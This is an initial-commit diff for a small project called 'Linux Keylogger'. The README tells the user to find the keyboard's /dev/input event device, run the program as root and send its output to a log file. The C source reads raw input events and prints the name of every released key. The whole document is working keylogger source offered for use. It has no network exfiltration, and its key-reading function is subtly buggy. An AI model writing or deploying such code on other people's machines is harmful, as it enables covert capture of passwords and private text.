Initial Commit

README.md

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+# Linux Keylogger
+
+# How to use
+1. Find your keyboard device
+Your keyboard device should be in the below format
+```
+/dev/input/eventX
+```
+Find it using
+```sh
+$ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
+```
+
+2. Run keylogger
+```sh
+$ sudo bin/keylogger /dev/input/eventX
+```
+
+
+3. Now whatever you type should be printed in the terminal.
+If you want to keep in log file use
+```sh
+$ sudo bin/keylogger /dev/input/eventX > logfile.txt
+```
+

keylogger.c

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+#include <linux/input.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+int get_key_press(int fd, struct input_event ev);
+int input_has_errors(int argc, char *argv[]);
+int user_is_root();
+char * get_key_description(int key_code);
+void generate_mappings(char ** mappings);
+   
+
+/*
+ * returns 0 if user is not root
+ * else returns 1
+ */
+int user_is_root() {
+    if (geteuid() != 0) {
+        puts("You should run this script as root");
+        puts("ex: sudo ./keylogger /dev/input/deviceX");
+        return 0;
+    }
+    return 1;
+}
+
+
+/*
+ * If no input device specified returns 1
+ * If no errors it returns 0
+ */
+int input_has_errors(int argc, char *argv[]) {
+  if(argc < 2) {
+      puts("No input device given.");
+      puts("Usage: './keylogger device'");
+      puts("Device should be /dev/input/device*");
+      puts("Find it using: `cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard`");
+      return 1;
+  }
+  return 0;
+}
+
+
+/* 
+ * -Reads input event (key stroke)
+ * -Returns the key when it's released
+ *  This means that by long pressing a key it only gets logged once.
+ * -If no key is pressed it calls itself recursively again
+ */
+int get_key_press(int fd, struct input_event ev) {
+    read(fd, &ev, sizeof(struct input_event));
+
+    // ev.value == 0  ->  button is released
+    if (ev.type == 1 && ev.value == 0)
+        return ev.code;
+
+    // if no key pressed check again
+    get_key_press(fd, ev);
+}
+
+
+int main(int argc, char *argv[]) { 
+    // Convert key codes to string values
+    // ex: mappings[code] = "value"
+    char * mappings[1024];
+    generate_mappings(mappings);
+
+
+    // Check for errors
+    if (input_has_errors(argc, argv)) {
+        return -1;
+    }
+    if (!user_is_root()) {
+        return -1;
+    }
+
+    // Start keyboard device as read only
+    int fd;
+    fd = open(argv[1], O_RDONLY);
+
+    // Initialize input event 
+    struct input_event ev;
+
+    // Scan for key strokes and print them
+    while (1){
+        int key_code = get_key_press(fd, ev); // get key code
+        printf("%s\n",mappings[key_code]); // print value of key code
+    }
+
+    return 0;
+}
+
+
+/*
+ * Generates a value for each key stroke code
+ */
+void generate_mappings(char ** codes) {
+    codes[1] = "esc";
+    codes[59] = "f1";
+    codes[60] = "f2";
+    codes[61] = "f3";
+    codes[62] = "f4";
+    codes[63] = "f5";
+    codes[64] = "f6";
+    codes[65] = "f7";
+    codes[66] = "f8";
+    codes[67] = "f9";
+    codes[68] = "f10";
+    codes[87] = "f11";
+    codes[88] = "f12";
+    // --
+    codes[41] = "`";
+    codes[2] = "1";
+    codes[3] = "2";
+    codes[4] = "3";
+    codes[5] = "4";
+    codes[6] = "5";
+    codes[7] = "6";
+    codes[8] = "7";
+    codes[9] = "8";
+    codes[10] = "9";
+    codes[11] = "0";
+    codes[12] = "-";
+    codes[13] = "=";
+    codes[14] = "back";
+    // --
+    codes[15] = "tab";
+    codes[16] = "q";
+    codes[17] = "w";
+    codes[18] = "e";
+    codes[19] = "r";
+    codes[20] = "t";
+    codes[21] = "y";
+    codes[22] = "u";
+    codes[23] = "i";
+    codes[24] = "o";
+    codes[25] = "p";
+    codes[26] = "[";
+    codes[27] = "]";
+    codes[43] = "\\";
+    // --
+    codes[58] = "caps";
+    codes[30] = "a";
+    codes[31] = "s";
+    codes[32] = "d";
+    codes[33] = "f";
+    codes[34] = "g";
+    codes[35] = "h";
+    codes[36] = "j";
+    codes[37] = "k";
+    codes[38] = "l";
+    codes[39] = ";";
+    codes[40] = "\"";
+    codes[28] = "\n";
+    // --
+    codes[42] = "shift";
+    codes[44] = "z";
+    codes[45] = "x";
+    codes[46] = "c";
+    codes[47] = "v";
+    codes[48] = "b";
+    codes[49] = "n";
+    codes[50] = "m";
+    codes[51] = ",";
+    codes[52] = ".";
+    codes[53] = "/";
+    codes[54] = "shift";
+    // --
+    codes[29] = "ctrl";
+    codes[125] = "super";
+    codes[56] = "alt";
+    codes[57] = " ";
+    codes[100] = "alt";
+    codes[126] = "super";
+    codes[127] = "right click";
+    codes[97] = "ctrl";
+}